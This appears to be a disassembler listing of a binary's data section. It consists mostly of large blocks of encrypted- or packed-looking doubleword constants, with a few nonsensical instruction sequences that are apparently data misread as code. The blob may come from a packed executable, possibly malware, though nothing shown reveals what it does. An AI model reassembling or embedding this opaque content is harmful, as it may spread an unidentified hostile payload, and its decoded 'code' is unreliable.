		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h
; ---------------------------------------------------------------------------
		push	es
		jz	short loc_4620E6


loc_4620BB:				; CODE XREF: .data:00461A9Cj
		rol	dword ptr [eax], cl
		mov	ebp, [ecx]
		jmp	short loc_4620C6
; ---------------------------------------------------------------------------
		align 2
		dw 0B844h
		db 89h,	0
; ---------------------------------------------------------------------------


loc_4620C6:				; CODE XREF: .data:004620BFj
		dec	edi
		dec	ebp
		mov	ecx, 208F5CF1h
		test	[ebx], eax
		fcmovne	st, st(2)
		pop	ds
		mov	dh, 59h
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 64B4h
		dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h
; ---------------------------------------------------------------------------
		adc	al, 49h


loc_4620E6:				; CODE XREF: .data:004620B9j
		add	dl, dh
		dec	eax
		cmp	al, 33h
		inc	eax
		add	ebp, ebx
		xchg	eax, esp
		add	[edx-6Bh], bh
		pop	es
		mov	ss, word ptr [edx-73h]
		pop	esp
		add	dword ptr [eax], 0EA9CEC28h
		push	7F196626h
		dec	ebx
		add	[edi+edi*8+32h], ah
		xor	ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
		db 8Fh,	28h, 68h
		dd 3D800301h, 65700041h, 230A7E16h, 5D000713h, 6F8861EFh
		dd 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h
		dd 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh,	0F482C080h
		dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
		dd 52805C6h, 0EA0014Ah,	8CF5005Ah, 6D68100Ah, 87299707h
		dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h,	53001BC4h
		dd 86C8E74Ch, 3CC840Fh,	21D2A4D5h, 0C7971A4Ah, 0E068815Eh
		dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
		dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h,	117FDE4h
		dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
		dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch,	83390980h
		dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
		dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h,	0EBF48100h
		dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
		dd 752D709h, 938C9D66h,	4AB590EBh, 0C100ED80h, 0EE030772h
		dd 70FCF0Ch, 8112C216h,	7518F0FAh, 10009EE8h, 31185B9h
		dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch,	7C0010FAh
		dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
		dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
		dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
		dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h,	13010D84h
		dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
		dd 9149200h, 31742506h,	47F2Ah,	0A154B0DAh, 0AE802B64h
		dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
		dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh,	2B64FE8h
		dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
		dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
		dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
		dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
		dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
		dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h,	1157E746h
		dd 822CF4h, 0B979EDD6h,	0D5C6301Eh, 0B5002B79h,	0AA6BE342h
		dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
		dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
		dd 2C0239BAh, 0D3C603h,	14095C1h, 990EFE81h, 0A137984Eh
		dd 359AD285h, 0FAC2F4h,	4D2E4C9Bh, 0A5F49009h, 4410BC00h
		dd 1D5C890Dh, 25B0013h,	3AEB1B87h, 431FE369h, 0C3001296h
		dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
		dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h,	0EA7E1180h
		dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh,	0B930C8C0h
		dd 84421500h, 7448C51h,	591913CAh, 0A8870EAFh, 78962640h
		dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
		dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h,	5FE82606h
		dd 297B0099h, 4470119h,	9D030320h, 7449F30Bh, 0C63FC824h
		dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
		dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
		dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
		dd 0D7396C4h, 22075CAh,	73A905Ch, 0BEC6490Ch, 8DCC5EF0h
		dd 2E527FE1h, 1C2FBAAh,	94B60CAh, 2E8FC882h, 8E90A23Bh
		dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
		dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h,	0D4E19B80h
		dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch,	19920B7Bh
		dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h,	16630026h
		dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
		dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
		dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h,	0F30A024Bh
		dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh,	5658B61h
		dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
		dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h
		dd 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h,	983D00E7h
		dd 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h
		dd 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h,	0CB0126C3h
		dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
		dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
		dd 5ABC3Eh, 0C031B244h,	154C966h, 428F1E50h, 0DD105180h
		dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
		dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
		dd 3E1831Dh, 18A4D207h,	0E177431h, 7C3AFC30h, 1950000Fh
		dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
		dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
		dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
		dd 4FE255Fh, 1B1CC7FAh,	88508043h, 62070414h, 84135640h
		dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
		dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h,	800EE25h
		dd 0C2F81CCBh, 788977h,	681E34E0h, 2C0B055Dh, 92148D03h
		dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh,	3513F300h
		dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
		dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h,	0B7E00F67h
		dd 6BF04500h, 3663CC0h,	0D2F23EEEh, 40401E9Ch, 1F4558Bh
		dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
		dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh,	5B0C001Eh
		dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h,	1CA959h
		dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
		dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
		dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
		dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
		dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
		dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h,	0D606EBE2h
		dd 3A1672E6h, 0F0FE5Eh,	8A367403h, 750A3A08h, 54306700h
		dd 1489313h, 9F4A00D3h,	401625B6h, 83780208h, 311AB200h
		dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh,	21D64EBh
		dd 903119h, 0CD88BB51h,	10E08650h, 0CD46600h, 83184CB2h
		dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h,	8840541h
		dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
		dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
		dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
		dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
		dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h,	754B2B42h
		dd 0AD41F6h, 51B82318h,	0E9968F82h, 2F9CB300h, 0CC2CAC33h
		dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
		dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h,	0FE78080Eh
		dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h,	623CC4Ah
		dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
		dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h,	0F8D4E486h
		dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
		dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
		dd 92DF7430h, 3007261h,	5420A2CAh, 0EA0B7643h, 1F110010h
		dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
		dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
		dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
		dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
		dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh,	0BFC5C14h
		dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
		dd 0CD290Eh, 900B1B22h,	0AC0325FFh, 338B4C79h, 6350E0DBh
		dd 50C741Ah, 1C753E07h,	701D802Ah, 91009225h, 0D41A1B0h
		dd 3F29845h, 161F4C22h,	0A09801B3h, 0F4004028h,	57037B0h
		dd 0B847604Fh, 8D736Fh,	6A6250FCh, 0F6386886h, 653A652Eh
		dd 6BE84700h, 378323Fh,	5511E04Dh, 2DA06168h, 3000FF64h
		dd 1B2089CCh, 0F445C7h,	0EE608691h, 0F808CB50h,	69C52C00h
		dd 0AC8B8954h, 34E683h,	8AEAA267h, 63C41618h, 0E0985200h
		dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh,	0C33FE283h
		dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
		dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
		dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
		dd 12C3AB7h, 60D7C7ACh,	2031D470h, 0E1D8A20h, 0AE408D41h
		dd 93AECFAh, 3FE800D8h,	58C2F748h, 1BEAE913h, 0DE747703h
		dd 90751ED3h, 77BBC36h,	0DC4A76FAh, 0E8075001h,	0AE1E2D37h
		dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
		dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
		dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
		dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh,	120FADAh
		dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
		dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
		dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
		dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
		dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
		dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h,	6459550Ah
		dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
		dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h,	0A5F0217h
		dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h,	0E1FF5Bh
		dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
		dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
		dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
		dd 90C1300h, 22000E74h,	4950811Dh, 23581Eh, 47257531h
		dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
		dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
		dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
		dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h,	99D99808h
		dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch,	8B547FE9h
		dd 77EA064h, 12A45300h,	0C9967C9Eh, 418900F0h, 39800103h
		dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
		dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
		dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
		dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
		dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
		dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
		dd 8B2507E6h, 45BC5E9h,	0CE898094h, 1A00EFFAh, 5A37740Eh
		dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h,	0C2A15051h
		dd 1365AEB3h, 0EE2439h,	0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
		dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
		dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h,	1B1A614Eh
		dd 0A54161E6h
		dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
		dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
		dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
		dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
		dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
		dd 0F3942467h, 402993h,	2690F1FAh, 7074503Dh, 0CE00A27Bh
		dd 99CB9238h, 1D90836h,	72F65232h, 0EC3B8189h, 300053D0h
		dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
		dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
		dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h,	505B290Ah
		dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
		dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh,	39A174FFh
		dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
		dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh,	7E1DDB85h
		dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
		dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
		dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
		dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh,	28EEB127h
		dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h,	0A790E9B9h
		dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
		dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
		dd 35B5A100h, 6792008h,	0C92BE803h, 880C45FAh, 1CC0A240h
		dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
		dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh,	1132481h
		dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
		dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
		dd 2080EE93h, 14E1C3Ch,	124A892h, 0E832A9C8h, 0EC0E040Ch
		dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
		dd 0F294834Bh, 383C22h,	334AE877h, 30BB354h, 0D0299200h
		dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
		dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
		dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
		dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
		dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
		dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
		dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
		dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h,	0E186926h
		dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
		dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
		dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
		dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
		dd 66F0041h, 8BCBC660h,	560003C1h, 0FB6C097Bh, 7A5E0438h
		dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
		dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h,	1CCCBAFh
		dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
		dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh,	0F0D07C49h
		dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
		dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
		dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
		dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
		dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
		dd 95F8375h, 10180026h,	895A081Fh, 6FF4FC97h, 1768F803h
		dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h,	0FEF9E458h
		dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
		dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
		dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
		dd 40CFC90h, 55532850h,	7B40C010h, 0A90086F1h, 0D7E27B8h
		dd 0C70441h, 323ACEE9h,	0ECD93306h, 6098B57Bh, 0C5204401h
		dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
		dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
		dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h,	0ECE8EB01h
		dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
		dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
		dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
		dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
		dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
